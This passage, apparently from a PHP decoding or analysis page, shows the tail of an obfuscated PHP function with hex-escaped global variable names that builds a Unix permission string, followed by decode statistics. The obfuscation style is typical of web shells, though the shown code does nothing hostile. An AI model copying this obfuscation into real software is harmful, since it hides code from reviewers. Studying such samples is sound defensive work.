${"\x47\x4c\x4f\x42A\x4c\x53"}["\x75rciv\x77\x75\x6d\x72n\x62"] = "\x69\x6e\x66o"; ${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x75\x72c\x69v\x77\x75\x6d\x72\x6e\x62"]} = "\x64"; } elseif ((${${"\x47L\x4f\x42\x41\x4c\x53"}["s\x6eu\x63wr\x6ax"]} & 0x2000) == 0x2000) { ${${"GL\x4fB\x41L\x53"}["\x77\x72\x72\x64\x66e\x69\x71\x70w"]} = "c"; } elseif ((${${"\x47\x4cO\x42A\x4cS"}["h\x6fq\x68\x73sje\x74\x65"]} & 0x1000) == 0x1000) { $ygtvtpoq = "\x69\x6e\x66o"; ${$ygtvtpoq} = "p"; } else { ${${"G\x4c\x4f\x42\x41\x4cS"}["wr\x72\x64fe\x69\x71p\x77"]} = "u"; } ${${"\x47\x4cO\x42A\x4c\x53"}["\x77\x78\x77\x78\x74\x78\x6b"]} .= ((${${"\x47L\x4f\x42\x41\x4c\x53"}["\x73\x6eu\x63w\x72j\x78"]} & 0x0100) ? "r" : "-"); ${"GL\x4f\x42\x41L\x53"}["\x6e\x6d\x62uv\x63\x72c\x74\x6e"] = "\x69nfo"; ${$bopusfto} .= ((${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x73n\x75\x63w\x72\x6a\x78"]} & 0x0080) ? "\x77" : "-"); ${${"G\x4c\x4fBA\x4c\x53"}["\x6e\x6db\x75\x76\x63\x72ct\x6e"]} .= ((${${"\x47\x4cO\x42\x41LS"}["\x73nu\x63\x77\x72\x6a\x78"]} & 0x0040) ? ((${${"\x47L\x4f\x42\x41\x4c\x53"}["s\x6eu\x63\x77\x72\x6ax"]} & 0x0800) ? "s" : "\x78") : ((${${"\x47\x4c\x4fB\x41\x4c\x53"}["e\x74\x75\x75\x72jl\x6a\x64"]} & 0x0800) ? "S" : "-")); $gzdcjjppeft = "\x70\x65\x72ms"; ${${"\x47\x4c\x4f\x42\x41\x4cS"}["w\x72\x72\x64\x66e\x69q\x70w"]} .= ((${${"\x47\x4c\x4f\x42\x41L\x53"}["\x66\x70\x72\x75\x77h\x79mp"]} & 0x0020) ? "\x72" : "-"); $vczgyuadbh = "pe\x72\x6d\x73"; ${${"\x47\x4cOB\x41\x4c\x53"}["kir\x65\x79z"]} .= ((${${"\x47\x4cO\x42\x41\x4c\x53"}["mu\x68\x69\x66\x64\x62\x73\x7ap\x78"]} & 0x0010) ? "w" : "-"); ${${"\x47L\x4fB\x41\x4cS"}["\x77\x72\x72\x64\x66eiqpw"]} .= ((${$gzdcjjppeft} & 0x0008) ? ((${${"\x47\x4cO\x42\x41\x4cS"}["a\x68\x76\x78p\x72\x66"]} & 0x0400) ? "s" : "x") : ((${$vczgyuadbh} & 0x0400) ? "S" : "-")); $hybyysyp = "\x70\x65r\x6d\x73"; ${${"\x47\x4c\x4fB\x41LS"}["d\x6dv\x66\x68\x78\x63\x68\x73"]} .= ((${${"\x47\x4c\x4fBAL\x53"}["\x73n\x75\x63\x77rjx"]} & 0x0004) ? "r" : "-"); ${$budbfbkwgim} .= ((${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6e\x69q\x6fsh"]} & 0x0002) ? "w" : "-"); ${${"GL\x4fB\x41\x4c\x53"}["\x77r\x72\x64fe\x69qpw"]} .= ((${$hybyysyp} & 0x0001) ? ((${$ydjzbkyoavu} & 0x0200) ? "\x74" : "x") : ((${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x73\x6eu\x63\x77\x72\x6ax"]} & 0x0200) ? "\x54" : "-")); return ${${"G\x4cO\x42A\x4cS"}["\x77r\x72\x64\x66\x65\x69qp\x77"]}; }
Function Calls
| None |
Stats
| MD5 | fa0bbd3761077865f46a444500358a82 |
| Eval Count | 0 |
| Decode Time | 139 ms |